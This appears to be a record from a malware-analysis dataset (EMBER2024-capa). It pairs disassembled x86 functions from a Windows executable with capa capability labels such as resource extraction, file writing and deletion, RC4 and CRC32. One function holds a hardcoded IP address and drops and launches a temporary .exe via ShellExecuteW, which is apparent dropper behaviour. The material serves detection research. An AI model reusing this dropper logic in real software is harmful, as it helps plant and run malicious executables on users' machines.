joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404840
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.IDR_BINARY
mov edi, eax
push 0x89
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x4048a8
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebx
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov eax, dword [esp + 0x10]
push esi
mov dword [eax], esi
call fcn.0040a3f1
push esi
mov edi, eax
push 0
push edi
call fcn.00416c10
push esi
push ebx
push edi
call fcn.0041b6d0
add esp, 0x1c
mov eax, edi
pop edi
pop esi
pop ebx
ret
pop edi
mov eax, esi
pop esi
pop ebx
ret

Function at 0x4048b0
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
sub esp, 0xc
push ebx
mov ebx, dword [esp + 0x14]
push ebp
push esi
push edi
push ebx
mov edi, eax
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4048e1
mov eax, ebx
call fcn.004049c0
cmp eax, edi
jne 0x4048e1
lea eax, [esi + 1]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
push 0x200000
call fcn.0041573c
mov ebp, eax
mov eax, dword [esp + 0x28]
add esp, 4
push ebp
push eax
lea edx, [esp + 0x1c]
mov ecx, edi
mov dword [esp + 0x1c], 0x200000
call fcn.00404a20
add esp, 8
test eax, eax
je 0x4049ac
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00414927
add esp, 4
call fcn.00414939
mov dword [esp + 0x18], eax
fild dword [esp + 0x18]
fmul qword [0x42e488]
fmul qword [0x42e4b0]
fadd qword [0x42e4a8]
call fcn.00418930
mov esi, dword [esp + 0x14]
lea ebx, [esi + ebp]
mov edi, eax
call fcn.004028c0
add edi, esi
mov esi, dword [esp + 0x20]
xor ebx, ebx
call fcn.00404ba0
mov esi, eax
cmp esi, 0xffffffff
je 0x4049aa
push ebx
lea ecx, [esp + 0x1c]
push ecx
push edi
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
neg eax
sbb eax, eax
and eax, dword [esp + 0x18]
cmp eax, edi
jne 0x404989
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 1
jne 0x4049aa
push ebp
mov esi, ebx
call fcn.00415c97
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
xor esi, esi
push ebp
call fcn.00415c97
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret

Function at 0x4049c0
Capabilities:
Get file size

Disassembly:
sub esp, 0x10
push ebx
push esi
push edi
push 0
push 0
push 3
push 0
push 3
push connect
or edi, 0xffffffff
push eax
or ebx, edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, edi
jne 0x4049f2
or eax, edi
or edx, edi
pop edi
pop esi
pop ebx
add esp, 0x10
ret
lea ecx, [esp + 0x10]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp eax, 1
jne 0x404a0b
mov edi, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
mov edx, ebx
pop ebx
add esp, 0x10
ret
Function at 0x404ba0
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
call edi
cmp eax, 0xffffffff
je 0x404bf3
push esi
call edi
cmp eax, 0xffffffff
je 0x404bee
test al, 1
je 0x404bbe
xor eax, 1
test al, 4
je 0x404bc5
xor eax, 4
test al, 2
je 0x404bcc
xor eax, 2
test al, 0x20
je 0x404bd3
xor eax, 0x20
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test edi, edi
jne 0x404bf3
or eax, 0xffffffff
pop edi
ret
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
pop edi
ret

Function at 0x404c70
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x4371a8
push 0x67
push esi
call edi
push 0x64
push 0x4370e0
push 0x6d
push esi
call edi
mov eax, esi
call fcn.00404e50
mov eax, dword [ebp + 0x10]
mov edx, 0x437278
sub edx, eax
mov edi, edi
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x404cc0
call fcn.00401000
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
mov dword [0x433fbc], eax
call edi
call fcn.00401100
test eax, eax
je 0x404cfc
call fcn.00402910
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push esi
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x4371a8
push 0x4370e0
push 0
mov dword [0x437270], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
je 0x404d3b
call fcn.00402ab0
test eax, eax
jne 0x404d53
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.0041482c
mov esp, ebp
pop ebp
ret 0x10
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.00416c10
mov eax, dword [0x437780]
add esp, 0xc
test eax, eax
jbe 0x404d9c
cmp word [0x437784], 0
jbe 0x404d9c
push eax
mov esi, str.218.54.31.226
call fcn.00403650
mov dx, word [0x437784]
add esp, 4
mov word [0x433fb0], dx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov eax, edx
xor edx, edx
shr eax, 6
mov ecx, 0x3e8
div ecx
push edx
push str.tmp8_X.exe
mov edx, 0x437b38
call fcn.00404fa0
call fcn.00403730
lea esi, [esp + 0x10]
call fcn.004036d0
push 0x42c8b8
mov edx, esi
push 0x104
push edx
call fcn.0041483b
add esp, 0x14
push 0x437b38
mov eax, esi
push 0x104
push eax
call fcn.0041483b
add esp, 0xc
mov ecx, esi
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x404e2c
push 0x1f4
call edi
push 1
push 0
push 0x42c790
mov edx, esi
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call edi
call fcn.004045b0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x406100
Capabilities:
Hash data using sha1
Read file on windows

Disassembly:
mov eax, 0x1068
call fcn.004190c0
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x1064], eax
mov eax, dword [esp + 0x106c]
push ebx
push ebp
push 0x42c8b0
push eax
lea eax, [esp + 0x10]
xor ebx, ebx
push eax
mov dword [esp + 0x14], ebx
xor ebp, ebp
call fcn.00414d8b
mov eax, dword [esp + 0x14]
add esp, 0xc
cmp eax, ebx
jne 0x40616b
xor eax, eax
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
pop ebp
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], eax
pop ebx
mov ecx, dword [esp + 0x1064]
xor ecx, esp
call fcn.0041482c
add esp, 0x1068
ret
push esi
push 2
push ebx
push eax
call fcn.0041545d
mov ecx, dword [esp + 0x18]
push ecx
call fcn.0041567f
mov edx, dword [esp + 0x1c]
push ebx
push ebx
push edx
mov dword [esp + 0x2c], eax
call fcn.0041545d
mov eax, dword [esp + 0x28]
push eax
push 0x1000
lea ecx, [esp + 0x94]
push 1
push ecx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x48], 0x67452301
mov dword [esp + 0x4c], 0xefcdab89
mov dword [esp + 0x50], 0x98badcfe
mov dword [esp + 0x54], 0x10325476
mov dword [esp + 0x58], 0xc3d2e1f0
call fcn.0041507e
mov esi, eax
add esp, 0x2c
cmp esi, ebx
jbe 0x406216
lea edx, [esp + 0x70]
push esi
push edx
lea ebx, [esp + 0x1c]
call fcn.00405f70
mov eax, dword [esp + 0x14]
push eax
push 0x1000
lea ecx, [esp + 0x80]
push 1
push ecx
add ebp, esi
call fcn.0041507e
mov esi, eax
add esp, 0x18
test esi, esi
ja 0x4061e1
xor ebx, ebx
push edi
lea esi, [esp + 0x18]
call fcn.00406010
mov edx, dword [esp + 0x10]
push edx
call fcn.00415112
add esp, 8
pop esi
cmp ebp, dword [esp + 0xc]
jb 0x406144
mov ecx, dword [esp + 0x106c]
pop ebp
pop ebx
xor ecx, esp
mov eax, 1
call fcn.0041482c
add esp, 0x1068
ret
Function at 0x407fd0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
test ecx, ecx
jne 0x407fd7
xor eax, eax
ret
push esi
not eax
cmp edx, 8
jb 0x4080b4
mov esi, edx
shr esi, 3
push edi
lea esp, [esp]
movzx edi, byte [ecx]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x42de58]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x42de58]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x42de58]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x42de58]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x42de58]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x42de58]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x42de58]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x42de58]
inc ecx
sub edx, 8
sub esi, 1
jne 0x407ff0
pop edi
test edx, edx
je 0x4080db
jmp 0x4080c0
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x42de58]
inc ecx
sub edx, 1
jne 0x4080c0
not eax
pop esi
ret

Function at 0x4080e0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [edx]
movsx ecx, cl
xor ecx, eax
shr eax, 8
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x42de58]
xor ecx, eax
movzx eax, cl
add eax, dword [edx + 4]
mov dword [edx], ecx
mov ecx, dword [edx + 8]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x42de58]
mov dword [edx + 8], ecx
ret

Function at 0x408130
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov ecx, dword [esi + 8]
push ebx
mov edx, ecx
and edx, 0xfffd
or edx, 2
mov ebx, edx
xor ebx, 1
imul ebx, edx
mov edx, dword [esi]
shr ebx, 8
push edi
xor al, bl
movsx edi, al
xor edi, edx
shr edx, 8
and edi, 0xff
mov ebx, dword [edi*4 + 0x42de58]
xor ebx, edx
movzx edx, bl
add edx, dword [esi + 4]
mov dword [esi], ebx
imul edx, edx, 0x8088405
inc edx
mov dword [esi + 4], edx
shr edx, 0x18
xor edx, ecx
and edx, 0xff
shr ecx, 8
xor ecx, dword [edx*4 + 0x42de58]
pop edi
mov dword [esi + 8], ecx
pop ebx
ret

Function at 0x408840
Capabilities:
Read file on windows

Disassembly:
push esi
mov esi, ebx
imul esi, dword [esp + 8]
cmp byte [edi], 0
je 0x408872
mov ecx, dword [edi + 2]
push 0
lea eax, [esp + 0xc]
push eax
push esi
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x408868
mov byte [edi + 6], 1
mov eax, dword [esp + 8]
xor edx, edx
div ebx
pop esi
ret
mov ecx, dword [edi + 0x14]
mov eax, dword [edi + 0x10]
push ebp
lea ebp, [ecx + esi]
cmp ebp, eax
pop ebp
jbe 0x408885
sub eax, ecx
mov esi, eax
mov eax, dword [edi + 0xc]
push esi
add eax, ecx
push eax
push edx
call fcn.0041b6d0
add dword [edi + 0x14], esi
mov eax, esi
add esp, 0xc
xor edx, edx
div ebx
pop esi
ret
Function at 0x409a70
Capabilities:
Get common file path

Disassembly:
cmp dword [esi], 0
push edi
jne 0x409b23
cmp dword [esi + 4], 0xffffffff
jne 0x409b23
lea edi, [esi + 0x244]
push edi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov eax, edi
lea edx, [eax + 2]
jmp 0x409aa0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x409aa0
sub eax, edx
sar eax, 1
movzx eax, word [esi + eax*2 + 0x242]
cmp ax, 0x5c
je 0x409ad9
cmp ax, 0x2f
je 0x409ad9
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x409ac6
mov eax, dword [0x42c8b8]
mov dword [edi], eax
push 0x18
call fcn.0040a3c2
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
add esp, 4
mov byte [eax], 0
mov byte [eax + 1], 1
mov byte [eax + 0xb], 0
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], edx
mov dword [eax + 0x14], 0
mov dword [eax + 7], 0
call fcn.00408b80
mov dword [esi], eax
neg eax
sbb eax, eax
and eax, 0xfffffe00
add eax, 0x200
pop edi
ret 8
mov eax, 0x1000000
pop edi
ret 8

Function at 0x41482c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x432c20]
jne 0x414836
repz ret
jmp fcn.004190eb

Function at 0x423bff
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004193c0
and dword [ebp - 4], 0
cmp dword [0x436abc], 0
mov ebx, eax
jne 0x423cb0
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x423d61
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x423d61
push eax
call fcn.0041934e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x436abc], eax
call esi
push eax
call fcn.0041934e
mov dword [esp], 0x42b674
push edi
mov dword [0x436ac0], eax
call esi
push eax
call fcn.0041934e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x436ac4], eax
call esi
push eax
call fcn.0041934e
pop ecx
mov dword [0x436acc], eax
test eax, eax
je 0x423cb0
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041934e
pop ecx
mov dword [0x436ac8], eax
mov eax, dword [0x436ac8]
cmp eax, ebx
je 0x423d08
cmp dword [0x436acc], ebx
je 0x423d08
push eax
call fcn.004193c9
push dword [0x436acc]
mov esi, eax
call fcn.004193c9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x423d08
test edi, edi
je 0x423d08
call esi
test eax, eax
je 0x423cff
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x423cff
test byte [ebp - 0xc], 1
jne 0x423d08
or dword [ebp + 0x10], 0x200000
jmp 0x423d41
mov eax, dword [0x436ac0]
cmp eax, ebx
je 0x423d41
push eax
call fcn.004193c9
pop ecx
test eax, eax
je 0x423d41
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x423d41
mov eax, dword [0x436ac4]
cmp eax, ebx
je 0x423d41
push eax
call fcn.004193c9
pop ecx
test eax, eax
je 0x423d41
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x436abc]
call fcn.004193c9
pop ecx
test eax, eax
je 0x423d61
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x423d63
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403220
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, ecx
lea edi, [ebp + 8]
cmp byte [ecx + 0xb], 0
js 0x40327e
mov eax, esi
je 0x40324a
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp byte [esi + 0xb], 0
js 0x403298
mov word [esi], 0
mov byte [esi + 0xb], 0
cmp esi, edi
je 0x403268
cmp byte [esi + 0xb], 0
movzx eax, byte [edi + 0xb]
js 0x4032a8
test al, al
jns 0x403288
mov ecx, esi
push dword [edi + 4]
push dword [edi]
call fcn.00409e50
cmp byte [edi + 0xb], 0
jns 0x403278
push dword [edi]
call fcn.0040b630
add esp, 4
pop esi
pop edi
pop ebp
ret 0xc
cmp dword [esi + 4], 0
je 0x40324a
mov eax, dword [esi]
jmp 0x403234
mov eax, dword [edi + 8]
mov dword [esi + 8], eax
movsd xmm0, qword [edi]
movsd qword [esi], xmm0
jmp 0x403268
mov eax, dword [esi]
mov word [eax], 0
mov dword [esi + 4], 0
jmp 0x40324a
test al, al
jns 0x4032b3
mov eax, dword [edi + 4]
mov edx, dword [edi]
jmp 0x4032b8
and eax, 0x7f
mov edx, edi
mov ecx, esi
push eax
push edx
call fcn.00409d70
jmp 0x403268
Function at 0x404b90
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov esi, ecx
lea eax, [ebp - 0x18]
mov dword [eax - 4], esp
mov dword [eax + 8], 0xffffffff
mov dword [eax + 4], 0x408f60
mov ecx, dword fs:[0]
mov dword [eax], ecx
mov ecx, dword [ebp + 0x10]
mov dword fs:[0], eax
test byte [ecx + 4], 1
jne 0x404c27
movzx edi, byte [ebp + 0x18]
mov eax, dword [esi]
mov ebx, dword [eax + 0x18]
mov ecx, ebx
call dword [section..00cfg]
movsx eax, byte [ebp + 0x14]
mov ecx, esi
push edi
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
mov esi, dword [ebp + 8]
push esi
call ebx
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
mov eax, esi
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret 0x14
shr al, 7
mov edx, dword [ebp + 8]
mov esi, dword [ebp - 0x20]
mov dword [edx], esi
test al, al
je 0x404c19
push ecx
call fcn.0040b630
add esp, 4
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
jmp 0x404bf7
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x20], eax
lea esi, [ebp - 0x30]
push esi
call fcn.0040a530
mov dword [ebp - 0x10], 0
mov ecx, esi
push 0x456e4c
call fcn.0040b090
mov esi, eax
mov edi, dword [ebp - 0x30]
xor ebx, ebx
dec ebx
mov eax, ebx
lock xadd dword [edi + 4], eax
test eax, eax
jne 0x404c76
mov eax, dword [edi]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x10], 0xffffffff
call dword [section..00cfg]
mov ecx, edi
call dword [ebp - 0x24]
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov eax, dword [esi]
mov cl, byte [ebp + 0x18]
xor cl, 1
movzx ecx, cl
mov edi, dword [eax + ecx*4 + 0x14]
mov dword [ebp - 0x10], ebx
mov ecx, edi
call dword [section..00cfg]
mov ecx, esi
lea eax, [ebp - 0x30]
push eax
call edi
movzx eax, byte [ebp - 0x25]
test al, al
js 0x404cb0
mov edx, eax
and edx, 0x7f
jmp 0x404cb3
mov edx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x30]
test edx, edx
je 0x404c01
test al, al
lea eax, [ebp - 0x30]
cmovns ecx, eax
mov dword [ebp - 0x24], ecx
jmp 0x404ce1
mov esi, dword [ebp - 0x2c]
mov edx, ecx
add edx, esi
mov esi, dword [ebp - 0x24]
inc esi
mov dword [ebp - 0x24], esi
cmp esi, edx
je 0x404c01
cmp dword [ebp - 0x20], 0
je 0x404d17
mov eax, dword [ebp - 0x24]
mov al, byte [eax]
mov edx, dword [ebp - 0x20]
mov ecx, dword [edx + 0x18]
cmp ecx, dword [edx + 0x1c]
je 0x404d20
lea edx, [ecx + 1]
mov esi, dword [ebp - 0x20]
mov dword [esi + 0x18], edx
mov byte [ecx], al
movzx eax, byte [ebp - 0x25]
mov ecx, dword [ebp - 0x30]
test al, al
js 0x404ccb
mov esi, eax
and esi, 0x7f
lea edx, [ebp - 0x30]
jmp 0x404cd0
mov dword [ebp - 0x20], 0
jmp 0x404d02
movzx edi, al
mov ebx, dword [ebp - 0x20]
mov eax, dword [ebx]
mov esi, dword [eax + 0x30]
mov dword [ebp - 0x10], 0xffffffff
mov ecx, esi
call dword [section..00cfg]
mov dword [ebp - 0x10], 1
mov ecx, ebx
push edi
call esi
xor ecx, ecx
cmp eax, 0xffffffff
je 0x404d50
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x20], ecx
jmp 0x404d02
Function at 0x40bb68
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40bba7
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40bba7
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40bba7
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40bba7
cmp dword [ecx + 0x74], 0xe
jbe 0x40bba7
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x420c50
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x420c7d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x420c7d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x421d85
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push str.FlsAlloc
push 0x44949c
push str.FlsAlloc
push 0x1f
call fcn.00422238
mov esi, eax
add esp, 0x10
test esi, esi
je 0x421db9
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
jmp 0x421dbf
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x421e03
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push str.FlsGetValue
push 0x4494c0
push str.FlsGetValue
push 0x21
call fcn.00422238
mov esi, eax
add esp, 0x10
test esi, esi
je 0x421e3a
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x421e42
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push str.FlsSetValue
push 0x4494d4
push str.FlsSetValue
push 0x22
call fcn.00422238
mov esi, eax
add esp, 0x10
test esi, esi
je 0x421e7c
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x42638f
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x454010]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.004215cc
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.004215cc
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x426406
cmp word [ecx], dx
je 0x426406
mov eax, dword [0x449e94]
push edi
dec eax
push eax
push 0x449d80
call fcn.0042657f
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x426479
cmp word [eax], dx
je 0x426479
mov eax, dword [edi]
test eax, eax
je 0x42642a
cmp word [eax], dx
je 0x42642a
lea eax, [ebp - 0x10]
push eax
call fcn.004265e0
jmp 0x426433
lea eax, [ebp - 0x10]
push eax
call fcn.004268ce
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x4264a3
mov eax, dword [0x449d7c]
push dword [ebp - 0x14]
dec eax
push eax
push 0x449a70
call fcn.0042657f
add esp, 0xc
test al, al
je 0x4264a3
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x42646e
cmp word [eax], di
je 0x42646e
lea eax, [ebp - 0x10]
push eax
call fcn.004265e0
pop ecx
jmp 0x4264a5
lea eax, [ebp - 0x10]
push eax
call fcn.004268ce
jmp 0x42646b
mov eax, dword [edi]
test eax, eax
je 0x426490
cmp word [eax], dx
je 0x426490
lea eax, [ebp - 0x10]
push eax
call fcn.00426a02
pop ecx
jmp 0x4264a3
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x42656e
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.00426af4
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x42656e
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x42656e
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x42656e
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x4264fb
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.0042207b
test ebx, ebx
je 0x426569
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.0042207b
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x42656e
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x42656e
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.0041bafb
add esp, 0x10
xor eax, eax
inc eax
jmp 0x426570
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040bf69
leave
ret